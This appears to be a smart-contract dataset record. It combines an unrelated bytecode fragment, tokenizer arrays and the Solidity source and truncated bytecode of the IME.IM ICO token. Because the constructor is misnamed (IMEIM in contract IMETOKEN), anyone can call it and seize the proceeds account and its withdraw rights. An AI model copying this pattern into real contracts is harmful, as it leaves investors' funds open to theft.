038516610dd85760405162461bcd60e51b81526004018080602001828103825260238152602001806113d06023913960400191505060405180910390fd5b610de38686866113ca565b610e2684604051806060016040528060268152602001611415602691396001600160a01b038916600090815260208190526040902054919063ffffffff6112d216565b6001600160a01b038088166000908152602081905260408082209390935590871681522054610e5b908563ffffffff61136916565b6001600160a01b038087166000818152602081815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a36112ca565b600a546001600160a01b0384811691161480610ede5750600b546001600160a01b038481169116145b80610ef65750600a546001600160a01b038381169116145b15610f7957600a546001600160a01b038481169116148015610f295750816001600160a01b0316836001600160a01b0316145b15610f345760038190555b6001600160a01b038616610d935760405162461bcd60e51b81526004018080602001828103825260258152602001806114636025913960400191505060405180910390fd5b6001600160a01b03831660009081526001602081905260409091205460ff1615151415610fe5576001600160a01b038616610d935760405162461bcd60e51b81526004018080602001828103825260258152602001806114636025913960400191505060405180910390fd5b6001600160a01b03831660009081526002602052604090205460ff1615156001141561106f57600b546001600160a01b03848116911614806110345750600c546001600160a01b038381169116145b610f345760405162461bcd60e51b81526004018080602001828103825260268152602001806114156026913960400191505060405180910390fd5b60035481101561110357600b546001600160a01b0383811691161415610f34576001600160a01b0383811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558616610d935760405162461bcd60e51b81526004018080602001828103825260258152602001806114636025913960400191505060405180910390fd5b600b546001600160a01b038481169116148061112c5750600c546001600160a01b038381169116145b6111675760405162461bcd60e51b81526004018080602001828103825260268152602001806114156026913960400191505060405180910390fd5b6001600160a01b0386166111ac5760405162461bcd60e51b81526004018080602001828103825260258152602001806114636025913960400191505060405180910390fd5b6001600160a01b0385166111f15760405162461bcd60e51b81526004018080602001828103825260238152602001806113d06023913960400191505060405180910390fd5b6111fc8686866113ca565b61123f84604051806060016040528060268152602001611415602691396001600160a01b038916600090815260208190526040902054919063ffffffff6112d216565b6001600160a01b038088166000908152602081905260408082209390935590871681522054611274908563ffffffff61136916565b6001600160a01b038087166000818152602081815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35b505050505050565b600081848411156113615760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561132657818101518382015260200161130e565b50505050905090810190601f1680156113535780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000828201838110156113c3576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220c93238a4d5ba620195420b58a6f7efb3a208c1f4b09dc8cd4f25f293f8f6371f64736f6c63430006060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2683, 2063, 2620, 2497, 2620, 2094, 2683, 2620, 18139, 7011, 2050, 12740, 6305, 2683, 23499, 21057, 2546, 2549, 2050, 2581, 2683, 19797, 2581, 2549, 2497, 16068, 2497, 21472, 2549, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1020, 1025, 1013, 1008, 1008, 11895, 3676, 1999, 2226, 19948, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1035, 1035, 1035, 1013, 1064, 1064, 1064, 1064, 1064, 1064, 1064, 1035, 1032, 1013, 1064, 1013, 1035, 1035, 1035, 1013, 1064, 1064, 1013, 1013, 1013, 1064, 1064, 1035, 1032, 1064, 1064, 1035, 1035, 1035, 1064, 1064, 1035, 1064, 1064, 1064, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,348
0x969ED938DcCcA509C7843A8860A43F4c2a84937c
pragma solidity ^0.4.8; // @address 0x // @multisig // The implementation for the IME.IME ICO smart contract was inspired by // the Ethereum token creation tutorial, the FirstBlood token, and the BAT token. // compiler: 0.4.17+commit.bdeb9e52 /* 1. Contract Address: 0x 2. Official Site URL:https://www.IME.IM/ 3. Link to download a 28x28png icon logo:https://IME.IM/TOKENLOGO.png 4. Official Contact Email Address:IM@IME.IM 5. Link to blog (optional): 6. Link to reddit (optional): 7. Link to slack (optional):https:// 8. Link to facebook (optional):https://www.facebook.com/ 9. Link to twitter (optional):@ 10. Link to bitcointalk (optional): 11. Link to github (optional):https://github.com/IMEIM 12. Link to telegram (optional):https://t.me/ 13. Link to whitepaper (optional):https://hitepaper_EN.pdf */ /////////////// // SAFE MATH // /////////////// contract SafeMath { function safeAdd(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x + y; require((z >= x) && (z >= y)); return z; } function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { require(x >= y); uint256 z = x - y; return z; } function safeMult(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x * y; require((x == 0)||(z/x == y)); return z; } } //////////////////// // STANDARD TOKEN // //////////////////// contract Token { uint256 public totalSupply; function balanceOf(address _owner) constant public returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) constant public returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /* ERC 20 token */ contract StandardToken is Token { mapping (address => uint256) balances; //pre ico locked balance mapping (address => uint256) lockedBalances; mapping (address => uint256) initLockedBalances; mapping (address => mapping (address => uint256)) allowed; bool allowTransfer = false; function transfer(address _to, uint256 _value) public returns (bool success){ if (balances[msg.sender] >= _value && _value > 0 && allowTransfer) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){ if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0 && allowTransfer) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant public returns (uint256 balance){ return balances[_owner] + lockedBalances[_owner]; } function availableBalanceOf(address _owner) constant public returns (uint256 balance){ return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success){ allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256 remaining){ return allowed[_owner][_spender]; } } ///////////////////// //IME.IM ICO TOKEN// ///////////////////// contract IMETOKEN is StandardToken, SafeMath { // Descriptive properties string public constant name = "IME.IM Token"; string public constant symbol = "IME"; uint256 public constant decimals = 18; string public version = "1.0"; // Account for ether proceed. address public etherProceedsAccount = 0x0; address public multiWallet = 0x0; //owners mapping (address => bool) public isOwner; address[] public owners; // These params specify the start, end, min, and max of the sale. bool public isFinalized; uint256 public window0TotalSupply = 0; uint256 public window1TotalSupply = 0; uint256 public window2TotalSupply = 0; uint256 public window3TotalSupply = 0; uint256 public window0StartTime = 0; uint256 public window0EndTime = 0; uint256 public window1StartTime = 0; uint256 public window1EndTime = 0; uint256 public window2StartTime = 0; uint256 public window2EndTime = 0; uint256 public window3StartTime = 0; uint256 public window3EndTime = 0; // setting the capacity of every part of ico uint256 public preservedTokens = 1300000000 * 10**decimals; uint256 public window0TokenCreationCap = 200000000 * 10**decimals; uint256 public window1TokenCreationCap = 200000000 * 10**decimals; uint256 public window2TokenCreationCap = 300000000 * 10**decimals; uint256 public window3TokenCreationCap = 0 * 10**decimals; // Setting the exchange rate for the ICO. uint256 public window0TokenExchangeRate = 5000; uint256 public window1TokenExchangeRate = 4000; uint256 public window2TokenExchangeRate = 3000; uint256 public window3TokenExchangeRate = 0; uint256 public preICOLimit = 0; bool public instantTransfer = false; // Events for logging refunds and token creation. event CreateGameIco(address indexed _to, uint256 _value); event PreICOTokenPushed(address indexed _buyer, uint256 _amount); event UnlockBalance(address indexed _owner, uint256 _amount); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); modifier ownerExists(address owner) { require(isOwner[owner]); _; } // constructor function IMEIM() public { totalSupply = 2000000000 * 10**decimals; isFinalized = false; etherProceedsAccount = msg.sender; } function adjustTime( uint256 _window0StartTime, uint256 _window0EndTime, uint256 _window1StartTime, uint256 _window1EndTime, uint256 _window2StartTime, uint256 _window2EndTime) public{ require(msg.sender == etherProceedsAccount); window0StartTime = _window0StartTime; window0EndTime = _window0EndTime; window1StartTime = _window1StartTime; window1EndTime = _window1EndTime; window2StartTime = _window2StartTime; window2EndTime = _window2EndTime; } function adjustSupply( uint256 _window0TotalSupply, uint256 _window1TotalSupply, uint256 _window2TotalSupply) public{ require(msg.sender == etherProceedsAccount); window0TotalSupply = _window0TotalSupply * 10**decimals; window1TotalSupply = _window1TotalSupply * 10**decimals; window2TotalSupply = _window2TotalSupply * 10**decimals; } function adjustCap( uint256 _preservedTokens, uint256 _window0TokenCreationCap, uint256 _window1TokenCreationCap, uint256 _window2TokenCreationCap) public{ require(msg.sender == etherProceedsAccount); preservedTokens = _preservedTokens * 10**decimals; window0TokenCreationCap = _window0TokenCreationCap * 10**decimals; window1TokenCreationCap = _window1TokenCreationCap * 10**decimals; window2TokenCreationCap = _window2TokenCreationCap * 10**decimals; } function adjustRate( uint256 _window0TokenExchangeRate, uint256 _window1TokenExchangeRate, uint256 _window2TokenExchangeRate) public{ require(msg.sender == etherProceedsAccount); window0TokenExchangeRate = _window0TokenExchangeRate; window1TokenExchangeRate = _window1TokenExchangeRate; window2TokenExchangeRate = _window2TokenExchangeRate; } function setProceedsAccount(address _newEtherProceedsAccount) public{ require(msg.sender == etherProceedsAccount); etherProceedsAccount = _newEtherProceedsAccount; } function setMultiWallet(address _newWallet) public{ require(msg.sender == etherProceedsAccount); multiWallet = _newWallet; } function setPreICOLimit(uint256 _preICOLimit) public{ require(msg.sender == etherProceedsAccount); preICOLimit = _preICOLimit; } function setInstantTransfer(bool _instantTransfer) public{ require(msg.sender == etherProceedsAccount); instantTransfer = _instantTransfer; } function setAllowTransfer(bool _allowTransfer) public{ require(msg.sender == etherProceedsAccount); allowTransfer = _allowTransfer; } function addOwner(address owner) public{ require(msg.sender == etherProceedsAccount); isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } function removeOwner(address owner) public{ require(msg.sender == etherProceedsAccount); isOwner[owner] = false; OwnerRemoval(owner); } function preICOPush(address buyer, uint256 amount) public{ require(msg.sender == etherProceedsAccount); uint256 tokens = 0; uint256 checkedSupply = 0; checkedSupply = safeAdd(window0TotalSupply, amount); require(window0TokenCreationCap >= checkedSupply); assignLockedBalance(buyer, amount); window0TotalSupply = checkedSupply; PreICOTokenPushed(buyer, amount); } function lockedBalanceOf(address _owner) constant public returns (uint256 balance) { return lockedBalances[_owner]; } function initLockedBalanceOf(address _owner) constant public returns (uint256 balance) { return initLockedBalances[_owner]; } function unlockBalance(address _owner, uint256 prob) public ownerExists(msg.sender) returns (bool){ uint256 shouldUnlockedBalance = 0; shouldUnlockedBalance = initLockedBalances[_owner] * prob / 100; if(shouldUnlockedBalance > lockedBalances[_owner]){ shouldUnlockedBalance = lockedBalances[_owner]; } balances[_owner] += shouldUnlockedBalance; lockedBalances[_owner] -= shouldUnlockedBalance; UnlockBalance(_owner, shouldUnlockedBalance); return true; } function () payable public{ create(); } function create() internal{ require(!isFinalized); require(msg.value >= 0.01 ether); uint256 tokens = 0; uint256 checkedSupply = 0; if(window0StartTime != 0 && window0EndTime != 0 && time() >= window0StartTime && time() <= window0EndTime){ if(preICOLimit > 0){ require(msg.value >= preICOLimit); } tokens = safeMult(msg.value, window0TokenExchangeRate); checkedSupply = safeAdd(window0TotalSupply, tokens); require(window0TokenCreationCap >= checkedSupply); assignLockedBalance(msg.sender, tokens); window0TotalSupply = checkedSupply; if(multiWallet != 0x0 && instantTransfer) multiWallet.transfer(msg.value); CreateGameIco(msg.sender, tokens); }else if(window1StartTime != 0 && window1EndTime!= 0 && time() >= window1StartTime && time() <= window1EndTime){ tokens = safeMult(msg.value, window1TokenExchangeRate); checkedSupply = safeAdd(window1TotalSupply, tokens); require(window1TokenCreationCap >= checkedSupply); balances[msg.sender] += tokens; window1TotalSupply = checkedSupply; if(multiWallet != 0x0 && instantTransfer) multiWallet.transfer(msg.value); CreateGameIco(msg.sender, tokens); }else if(window2StartTime != 0 && window2EndTime != 0 && time() >= window2StartTime && time() <= window2EndTime){ tokens = safeMult(msg.value, window2TokenExchangeRate); checkedSupply = safeAdd(window2TotalSupply, tokens); require(window2TokenCreationCap >= checkedSupply); balances[msg.sender] += tokens; window2TotalSupply = checkedSupply; if(multiWallet != 0x0 && instantTransfer) multiWallet.transfer(msg.value); CreateGameIco(msg.sender, tokens); }else{ require(false); } } function time() internal returns (uint) { return block.timestamp; } function today(uint startTime) internal returns (uint) { return dayFor(time(), startTime); } function dayFor(uint timestamp, uint startTime) internal returns (uint) { return timestamp < startTime ? 0 : safeSubtract(timestamp, startTime) / 24 hours + 1; } function withDraw(uint256 _value) public{ require(msg.sender == etherProceedsAccount); if(multiWallet != 0x0){ multiWallet.transfer(_value); }else{ etherProceedsAccount.transfer(_value); } } function finalize() public{ require(!isFinalized); require(msg.sender == etherProceedsAccount); isFinalized = true; if(multiWallet != 0x0){ assignLockedBalance(multiWallet, totalSupply- window0TotalSupply- window1TotalSupply - window2TotalSupply); if(this.balance > 0) multiWallet.transfer(this.balance); }else{ assignLockedBalance(etherProceedsAccount, totalSupply- window0TotalSupply- window1TotalSupply - window2TotalSupply); if(this.balance > 0) etherProceedsAccount.transfer(this.balance); } } function supply() constant public returns (uint256){ return window0TotalSupply + window1TotalSupply + window2TotalSupply; } function assignLockedBalance(address _owner, uint256 val) private{ initLockedBalances[_owner] += val; lockedBalances[_owner] += val; } }
0x6080604052600436106102b4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063024187a5146102be57806302437982146102e9578063025e7c271461032a57806302942724146103975780630426dcef146103c2578063047fc9aa14610427578063053e32531461045257806306fdde031461047d578063075e0a7c1461050d5780630770a07414610538578063095ea7b3146105795780630b81e216146105de578063139654e01461060d57806314174f3314610638578063173825d91461066557806318160ddd146106a857806323b872dd146106d35780632438b6741461075857806325d998bb1461078357806328d4cc24146107da5780632dd608ce146108055780632f54bf6e14610832578063313ce5671461088d5780633b86758a146108b85780633d814377146108e35780634ab7508a1461090e5780634bb278f31461096557806354fd4d501461097c578063576cfdd714610a0c5780635935573614610a375780636320464814610a8e57806367d4f54114610ad15780636b7eba7d14610afc5780637065cb4814610b2b57806370a0823114610b6e5780638424f95214610bc5578063863f2a1914610bdc57806389d6777514610c3b5780638d4e408314610c6657806395d89b4114610c95578063979e199d14610d25578063a10fc32f14610d68578063a7d3040014610d97578063a9059cbb14610dc2578063a91d6c6514610e27578063b128ca5c14610e7e578063bfffe67014610ec9578063c8ef8b0014610ef4578063ca4f091114610f1f578063d8cdac0d14610f6c578063dc85b99614610f97578063dd42faf714610fc2578063dd62ed3e14610fed578063e378f04514611064578063e8e032801461108f578063ea60e79b146110ba578063edff2702146110e5578063f3333e7f14611110575b6102bc611167565b005b3480156102ca57600080fd5b506102d3611729565b6040518082815260200191505060405180910390f35b3480156102f557600080fd5b5061032860048036038101908080359060200190929190803590602001909291908035906020019092919050505061172f565b005b34801561033657600080fd5b50610355600480360381019080803590602001909291905050506117a5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103a357600080fd5b506103ac6117e3565b6040518082815260200191505060405180910390f35b3480156103ce57600080fd5b5061040d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117e9565b604051808215151515815260200191505060405180910390f35b34801561043357600080fd5b5061043c611a17565b6040518082815260200191505060405180910390f35b34801561045e57600080fd5b50610467611a29565b6040518082815260200191505060405180910390f35b34801561048957600080fd5b50610492611a2f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d25780820151818401526020810190506104b7565b50505050905090810190601f1680156104ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561051957600080fd5b50610522611a68565b6040518082815260200191505060405180910390f35b34801561054457600080fd5b50610577600480360381019080803590602001909291908035906020019092919080359060200190929190505050611a6e565b005b34801561058557600080fd5b506105c4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611af6565b604051808215151515815260200191505060405180910390f35b3480156105ea57600080fd5b5061060b600480360381019080803515159060200190929190505050611be8565b005b34801561061957600080fd5b50610622611c61565b6040518082815260200191505060405180910390f35b34801561064457600080fd5b5061066360048036038101908080359060200190929190505050611c67565b005b34801561067157600080fd5b506106a6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611de0565b005b3480156106b457600080fd5b506106bd611eda565b6040518082815260200191505060405180910390f35b3480156106df57600080fd5b5061073e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ee0565b604051808215151515815260200191505060405180910390f35b34801561076457600080fd5b5061076d612174565b6040518082815260200191505060405180910390f35b34801561078f57600080fd5b506107c4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061217a565b6040518082815260200191505060405180910390f35b3480156107e657600080fd5b506107ef6121c3565b6040518082815260200191505060405180910390f35b34801561081157600080fd5b50610830600480360381019080803590602001909291905050506121c9565b005b34801561083e57600080fd5b50610873600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061222f565b604051808215151515815260200191505060405180910390f35b34801561089957600080fd5b506108a261224f565b6040518082815260200191505060405180910390f35b3480156108c457600080fd5b506108cd612254565b6040518082815260200191505060405180910390f35b3480156108ef57600080fd5b506108f861225a565b6040518082815260200191505060405180910390f35b34801561091a57600080fd5b50610923612260565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561097157600080fd5b5061097a612286565b005b34801561098857600080fd5b50610991612519565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109d15780820151818401526020810190506109b6565b50505050905090810190601f1680156109fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a1857600080fd5b50610a216125b7565b6040518082815260200191505060405180910390f35b348015610a4357600080fd5b50610a78600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506125bd565b6040518082815260200191505060405180910390f35b348015610a9a57600080fd5b50610acf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612606565b005b348015610add57600080fd5b50610ae66126a6565b6040518082815260200191505060405180910390f35b348015610b0857600080fd5b50610b116126ac565b604051808215151515815260200191505060405180910390f35b348015610b3757600080fd5b50610b6c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506126bf565b005b348015610b7a57600080fd5b50610baf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061281f565b6040518082815260200191505060405180910390f35b348015610bd157600080fd5b50610bda6128a9565b005b348015610be857600080fd5b50610c39600480360381019080803590602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050612918565b005b348015610c4757600080fd5b50610c506129a6565b6040518082815260200191505060405180910390f35b348015610c7257600080fd5b50610c7b6129ac565b604051808215151515815260200191505060405180910390f35b348015610ca157600080fd5b50610caa6129bf565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610cea578082015181840152602081019050610ccf565b50505050905090810190601f168015610d175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610d3157600080fd5b50610d66600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506129f8565b005b348015610d7457600080fd5b50610d95600480360381019080803515159060200190929190505050612a98565b005b348015610da357600080fd5b50610dac612b11565b6040518082815260200191505060405180910390f35b348015610dce57600080fd5b50610e0d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612b17565b604051808215151515815260200191505060405180910390f35b348015610e3357600080fd5b50610e68600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612c98565b6040518082815260200191505060405180910390f35b348015610e8a57600080fd5b50610ec760048036038101908080359060200190929190803590602001909291908035906020019092919080359060200190929190505050612ce1565b005b348015610ed557600080fd5b50610ede612d77565b6040518082815260200191505060405180910390f35b348015610f0057600080fd5b50610f09612d7d565b6040518082815260200191505060405180910390f35b348015610f2b57600080fd5b50610f6a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612d83565b005b348015610f7857600080fd5b50610f81612e6e565b6040518082815260200191505060405180910390f35b348015610fa357600080fd5b50610fac612e74565b6040518082815260200191505060405180910390f35b348015610fce57600080fd5b50610fd7612e7a565b6040518082815260200191505060405180910390f35b348015610ff957600080fd5b5061104e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612e80565b6040518082815260200191505060405180910390f35b34801561107057600080fd5b50611079612f07565b6040518082815260200191505060405180910390f35b34801561109b57600080fd5b506110a4612f0d565b6040518082815260200191505060405180910390f35b3480156110c657600080fd5b506110cf612f13565b6040518082815260200191505060405180910390f35b3480156110f157600080fd5b506110fa612f19565b6040518082815260200191505060405180910390f35b34801561111c57600080fd5b50611125612f1f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600080600b60009054906101000a900460ff1615151561118657600080fd5b662386f26fc10000341015151561119c57600080fd5b60009150600090506000601054141580156111ba5750600060115414155b80156111cf57506010546111cc612f45565b10155b80156111e457506011546111e1612f45565b11155b1561135b576000602154111561120657602154341015151561120557600080fd5b5b61121234601d54612f4d565b9150611220600c5483612f83565b9050806019541015151561123357600080fd5b61123d3383612fb0565b80600c819055506000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141580156112995750602260009054906101000a900460ff165b1561130857600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015611306573d6000803e3d6000fd5b505b3373ffffffffffffffffffffffffffffffffffffffff167f3f402dfc8020f924e0dc4c1b49ea7a15cde30dbc6fb6d88da078403ae53136a0836040518082815260200191505060405180910390a2611725565b6000601254141580156113715750600060135414155b80156113865750601254611383612f45565b10155b801561139b5750601354611398612f45565b11155b15611538576113ac34601e54612f4d565b91506113ba600d5483612f83565b905080601a54101515156113cd57600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080600d819055506000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141580156114765750602260009054906101000a900460ff165b156114e557600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156114e3573d6000803e3d6000fd5b505b3373ffffffffffffffffffffffffffffffffffffffff167f3f402dfc8020f924e0dc4c1b49ea7a15cde30dbc6fb6d88da078403ae53136a0836040518082815260200191505060405180910390a2611724565b60006014541415801561154e5750600060155414155b80156115635750601454611560612f45565b10155b80156115785750601554611575612f45565b11155b156117155761158934601f54612f4d565b9150611597600e5483612f83565b905080601b54101515156115aa57600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080600e819055506000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141580156116535750602260009054906101000a900460ff165b156116c257600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156116c0573d6000803e3d6000fd5b505b3373ffffffffffffffffffffffffffffffffffffffff167f3f402dfc8020f924e0dc4c1b49ea7a15cde30dbc6fb6d88da078403ae53136a0836040518082815260200191505060405180910390a2611723565b6000151561172257600080fd5b5b5b5b5050565b600c5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561178b57600080fd5b82601d8190555081601e8190555080601f81905550505050565b600a818154811015156117b457fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60185481565b60008033600960008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561184557600080fd5b60009150606484600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540281151561189657fe5b049150600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561192357600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505b81600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508473ffffffffffffffffffffffffffffffffffffffff167fe8389fd25dbf83305447663fe65717429b78ce3f6f48c701e5fda330b0c29b97836040518082815260200191505060405180910390a260019250505092915050565b6000600e54600d54600c540101905090565b60175481565b6040805190810160405280600c81526020017f494d452e494d20546f6b656e000000000000000000000000000000000000000081525081565b600f5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611aca57600080fd5b6012600a0a8302600c819055506012600a0a8202600d819055506012600a0a8102600e81905550505050565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c4457600080fd5b80600560006101000a81548160ff02191690831515021790555050565b60145481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611cc357600080fd5b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611d7357600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d6d573d6000803e3d6000fd5b50611ddd565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ddb573d6000803e3d6000fd5b505b50565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e3c57600080fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a250565b60005481565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015611fad575081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015611fb95750600082115b8015611fd15750600560009054906101000a900460ff165b156121685781600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600160008673fffffffffffffffffffffffffffffffffffff